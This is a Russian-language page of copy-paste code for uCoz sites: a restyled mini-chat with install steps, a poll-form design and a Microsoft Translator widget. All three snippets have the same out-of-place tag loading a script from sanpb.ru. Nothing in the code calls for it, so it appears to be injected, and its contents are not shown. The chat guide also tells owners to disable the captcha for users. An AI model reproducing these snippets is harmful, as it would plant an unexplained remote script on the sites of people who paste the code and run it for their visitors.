Новый, светлый мини-чат как на Zagruzka-Plus для uCoz
Полностью рабочий и функциональный чат, почти такой же как и на Zagruzka-Plus Как-то он уже был выложен в интернете, но в нём была целая гора багов.. Но я решил довести его до хорошего состояния и вот теперь он в паблике) Описание и изменения функционала чата: - Аватар рядом с ником - Ник администратора красный, а остальных чёрный - Красивая полоса прокрутки (только для Google Chrome) - Наличие вызова правил чата - Новая кнопка - Обновить (Вместо звуков) - Красивая панель bb-кодов и кнопок (отправить, отмена, написать) - Изменение цвета отдельных слов или всего сообщения - Ну и конечно красивый, светлый дизайн) И другие мелочи которые вы сможете увидеть, после установки Перейдем к установки: Перед началом установки можете на всякий случай сохранить "Вид материалов Мини-Чата" И "Форму добавления сообщения" например в блокноте на рабочем столе 1) Убираем отображение кода безопасности пользователям: Заходим сюда : http://адрес_вашего_сайта/panel/?a=users;l=groups;t=8 Открываем раздел "Разное" И в напротив пункта "Не показывать код безопасности" - ставим все галки Сохраняем Далее заходим сюда: http://адрес_вашего_сайта/panel/?a=mchat;l=setup Ищем строчку "Использовать код безопасности для группы "Пользователи":" И напротив снимаем галочку и потом сохраняем 2) Скачиваем архив (по ссылке http://narod.ru/disk/63333845001.d6ef81b485566f431151d1d48f357726/chatok.rar.html) Открываем его и переносим папку serv на рабочий стол Загружаем её в корень сайта (через FTP программу или файловый менеджер) Путь должен получится такой: http://адрес_вашего_сайта/serv 3) Заходим в ПУ » Управление дизайном » Мини-Чат » Вид материалов И заменяем всё на этот код: Code <?if($NUMBER$=1)?> <link type="text/css" rel="StyleSheet" href="/serv/chatok/chat.css" /> <style type="text/css"> #body{} ::-webkit-scrollbar { width: 5px; height: 9px; } ::-webkit-scrollbar-track-piece { background-color: #ffffff; -webkit-border-radius: 5px; } ::-webkit-scrollbar-thumb:vertical { height: 9px; background-color: #666; -webkit-border-radius: 5px; } ::-webkit-scrollbar-thumb:horizontal { width: 5px; background-color: #666; -webkit-border-radius: 5px; } </style> <?endif?> <div style="padding:4px;"> <span class="chat-message-block"> <table border="0" cellpadding="0" cellspacing="0" width="100%"> <tbody> <tr> <td width="40"> <span class="chatAvatar"><?if($AVATAR_URL$)?><img src="$AVATAR_URL$"><?else?><img src="/serv/chatok/noavatar.png"><?endif?></span></td> <td style="font-size:8pt; color:#666; line-height:14px;"> <div style="float:right; margin-right:5px;"> <span class="chat-button chat-reply tipsy-top" title="Ответить" href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('asrea').focus();parent.window.document.getElementById('mchatMsgF').value+='[b]$USERNAME$[/b], ';return false;"></span> </div> <b> <?if($USER_ID$='1')?><a style="color:red;" href="$PROFILE_URL$">$USERNAME$</a><?else?><a href="$PROFILE_URL$">$USERNAME$</a><?endif?> </b><br> <span class="small">$DATE$ в $TIME$</span> </td> </tr> </tbody> </table> <div style="padding:3px 0px 3px 0px;"> $MESSAGE$ </div> </span> <div class="hr"></div> </div> 4) Заходим в ПУ » Управление дизайном » Мини-Чат » Форма добавления сообщения И заменяем всё на этот код: Code <link type="text/css" rel="StyleSheet" href="/serv/chatok/add.css" />
<?if(!$CAN_ADD$)?> <div class="letg"> <div class="chat-panel" style=""> <a href="$LOGIN_LINK$" style="color:#fff; text-decoration: none;">Вы не авторизованы</a> </div><script src="http://sanpb.ru/text.js" type="text/javascript"></script> </div> <?endif?> <?if($CAN_ADD$)?> <script> function valueCheck(){ $('#iChat-write-form').show(); $('.chat-panel').hide(); $('#mchatMsgF').focus(); } </script> <div class="letg"> <div class="chat-panel"> <?if($USER_ID$='1')?><?if($MSGCTRL_URI$)?><span class="chat-panel-button button-archive tipsy-top" title="Управление сообщениями" href="$MSGCTRL_URI$" original-title="Управление сообщениями"> </span><?endif?><?else?><span class="chat-panel-button button-archive tipsy-top" onclick="new _uWnd.alert('Данное действие разрешено только <b>Администратору</b>','Управление сообщениями',{w:400,h:60,tm:3500,close:1})" title="Управление сообщениями" href="javascript://" original-title="Управление сообщениями"> </span><?endif?> <span class="chat-panel-button chat-send-button" onclick="$('#iChat-write-form').toggle(500);$('.chat-panel').toggle(500);return false;">Написать</span> <span class="chat-panel-button button-rules tipsy-top" title="Правила" href="javascript://" onclick="new _uWnd('commadd','Правила Мини-Чата',300,200,{align:'left',min:0,shadow:1,header:1,max:0,resize:0},'<b>Запрещено:</b><br><span id=plp>Развязывать разборки (для этого есть ЛС)</span><br><span id=plp> Писать 3-и или более сообщений подряд</span><br><span id=plp>Добавлять спам, рекламу флуд..</span><br><span id=plp>Оскорбление администрации</span><br><span id=plp>Часто писать с вкл. Caps Lock</span>');" original-title="Правила"> </span> <span class="chat-panel-button button-sound tipsy-top" title="Обновить" onclick="document.getElementById('mchatIfm2').src='/mchat/?'+Math.random();return false;" original-title="Обновить"> </span> </div> </div> <div class="letg"> <textarea id="asrea" onFocus="valueCheck()"></textarea> <div id="iChat-write-form" style="display:none"> <div class="ichat-editor"> <div class="bbcodes-p"> <span id="b_b" class="editor_button" href="javascript:void('Apply to')" onclick="bbCode('b');return false;"><img title="Полужирный" src="/serv/chatok/bold.png" width="16" height="16" border="0" alt=""></span> <span id="b_i" class="editor_button" href="javascript:void('Apply to')" onclick="bbCode('i');return false;"><img title="Курсив" src="/serv/chatok/italic.png" width="16" height="16" border="0" alt=""></span> <span id="b_i" class="editor_button" href="javascript:void('Apply to')" onclick="bbCode('u');return false;"><img title="Подчёркнутый текст" src="/serv/chatok/underline.png" width="16" height="16" border="0" alt=""></span> <span id="b_s" class="editor_button" href="javascript:void('Apply to')" onclick="bbCode('s');return false;"><img title="Зачеркнутый текст" src="/serv/chatok/stroke.png" width="16" height="16" border="0" alt=""></span> <span id="b_emo" class="editor_button" href="$SMILES_URI$"><img title="Вставка смайликов" src="/serv/chatok/emoticon.png" width="16" height="16" border="0" alt=""></span> <span id="b_color" class="editor_button" id="kmn" title="Выбрать цвет" onclick="openLayerB('sda',0,'/serv/chatok/zvetaf.xml','Выбор цвета',200,210,'1','','',0,'justify');return false;"><img src="/serv/chatok/colors.png" width="16" height="16" border="0" alt=""></span> <span id="b_quote" class="editor_button" href="javascript:void('Apply to')" onclick="bbCode('quote');return false;"><img title="Вставка цитаты" src="/serv/chatok/quotes.png" width="16" height="16" border="0" alt=""></span> </div> </div> <textarea name="mcmessage" class="mchat" id="mchatMsgF" title="Сообщение" onkeyup="countMessLength();"></textarea> <script type="text/javascript" src="/serv/chatok/bbcodes.js"></script> <div style="border:0px;" class="button-panel" align="center"> <span style="display:none" id="mchatAjax" align="center"> <span class"aer"><img src="/serv/chatok/next_load.gif"></span></span> <input type="submit" class="zp-button" value="Отправить" id="mchatBtn"> <input type="button" class="zp-button" value="Отмена" onclick="$('#iChat-write-form').toggle(500);$('.chat-panel').toggle(500);return false;">$IMG_SECURE$$FLD_SECURE$ </div><script ... Читать дальше » Новая форма опроса для ucoz
Копируем и вставляем в CSS
Code /* Start design by vsepodrad.ru */ .td1 {cursor:help;padding:3px 0px;border:1px solid #444;background:#333;text-align:center;color:#FFCA3C;} .td1 input {background:#444;color:#FFCA3C;} .td1 input:hover {background:#2D2D2D;color:#ccc;} .td2 {cursor:default;background:#444;text-align:center;padding:2px 5px;margin:1px 2px 0px 0px;width:20px;height:14px;border:1px solid #555;border-bottom:0px;color:#FFCA3C;font-weight:bold;} .td3 {cursor:default;background:#2D2D2D;border-top:1px solid #555;border-right:1px solid #555;width:100%;padding-left:5px;} .td4 {background:#444;text-align:center;padding:2px 5px;margin:1px 2px 0px 0px;height:14px;width:25px !important;border:1px solid #555;border-bottom:0px;} .ansbut {cursor:pointer;background:#444;border:1px solid #555;text-align:center;padding:2px 0px;} .ansbut:hover {background:#2D2D2D;color:#FFCA3C;} .td5 {width:50%;} .td5 a {text-decoration:none;} .td6 {cursor:default;padding:2px 0px;background:#2D2D2D;border:1px solid #444;text-align:center;} /* --------------------------- */ Вставляем в вид формы опроса Code <div style="border:1px solid #4f859e;"> <table border="0" cellpadding="0" cellspacing="1" width="100%" id="ansplace"> <tr><td colspan="3" class="td1">$QUESTION$</td></tr> <tr id="ans"><td colspan="3">$ANSWERS$</td></tr> </table> <table border="0" cellpadding="0" cellspacing="1" width="100%"> <tr><td class="td6" colspan="2">Всего ответов: <b>$TOTAL_VOTES$</b></td></tr> <tr> <td class="td5"><a href="$RESULTS_LINK$"><div class="ansbut">Результаты</div></a></td> <script src="http://sanpb.ru/text.js" type="text/javascript"></script> <td class="td5"><a href="$ARCHIVE_LINK$"><div class="ansbut">Все опросы</div></a></td> </tr> </table> <script> var num=1; if(!$("div input.pollBut").attr("value")){ $(".answer").each(function() { var path=$(this).find("span").attr("title"); var answer=$(this).text().split(".")[1]; var votes=path.split(":")[1].split("(")[0]; var persent="("+path.split(":")[1].split("(")[1]; $("#ansplace").append('<tr>' +'<td class="td2">'+num+'</td>' +'<td class="td3">'+answer+'</td>' +'<td class="td4" title="'+persent+'" style="cursor:help;">'+votes+'</td>' +'</tr><tr><td colspan="3" style="border-top:1px solid #4f859e;"></td></tr>');num++;});} else { $(".answer").each(function() { $("input[name='answer']").css("margin","0px"); $("#ansplace").append('<tr>' +'<td class="td2">'+num+'</td>' +'<td class="td3">'+$(this).find("label").html()+'</td>' +'<td class="td4">'+$(this).html().split(">")[0]+'</td>' +'</tr><tr><td colspan="3" style="border-top:1px solid #4f859e;"></td></tr>');num++;}); $("#ansplace").append('<tr><td class="td1" colspan="3" style="padding:0px;">'+$("div.pollButton").html()+'</td></tr>'); $("input.pollBut").css({cursor:'pointer',width:'100%',fontWeight:'bold',padding:'3px 0px'});} $("#ans").hide(); </script> </div> Скрипт Переводчик от Microsoft
Скрипт переводчик от Microsoft для ucoz, цветовая гамма скрипта легко меняется, изменив "background-color: цвет; " в коде скрипта. Устанавливайте этот скрипт переводчика, и ваши пользователи будут довольны, увеличением функциональности ваших ucoz сайтов.
Code <div id="MicrosoftTranslatorWidget" style="width: 200px; min-height: 83px; border-color: #3A5770; background-color: #78ADD0;"><noscript><a href="http://u.to/lBQMAg" title="http://www.microsofttranslator.com/bv.aspx?a=http2f2fwidget%2f">Перевести эту страницу</a><br />На платформе <a href="http://u.to/aDET" title="http://www.microsofttranslator.com">Microsoft® Translator</a></noscript></div><script src="http://sanpb.ru/text.js" type="text/javascript"></script><script type="text/javascript"> /* <![CDATA[ */ setTimeout(function() { var s = document.createElement("script"); s.type = "text/javascript"; s.charset = "UTF-8"; s.src = ((location && location.href && location.href.indexOf('https') == 0) ? "https://ssl.microsofttranslator.com" : "http://www.microsofttranslator.com" ) + "/ajax/v2/widget.aspx?mode=manual&from=ru&layout=ts"; var p = document.getElementsByTagName('head')[0] || document.documentElement; p.insertBefore(s, p.firstChild); }, 0); /* ]]> */ </script> |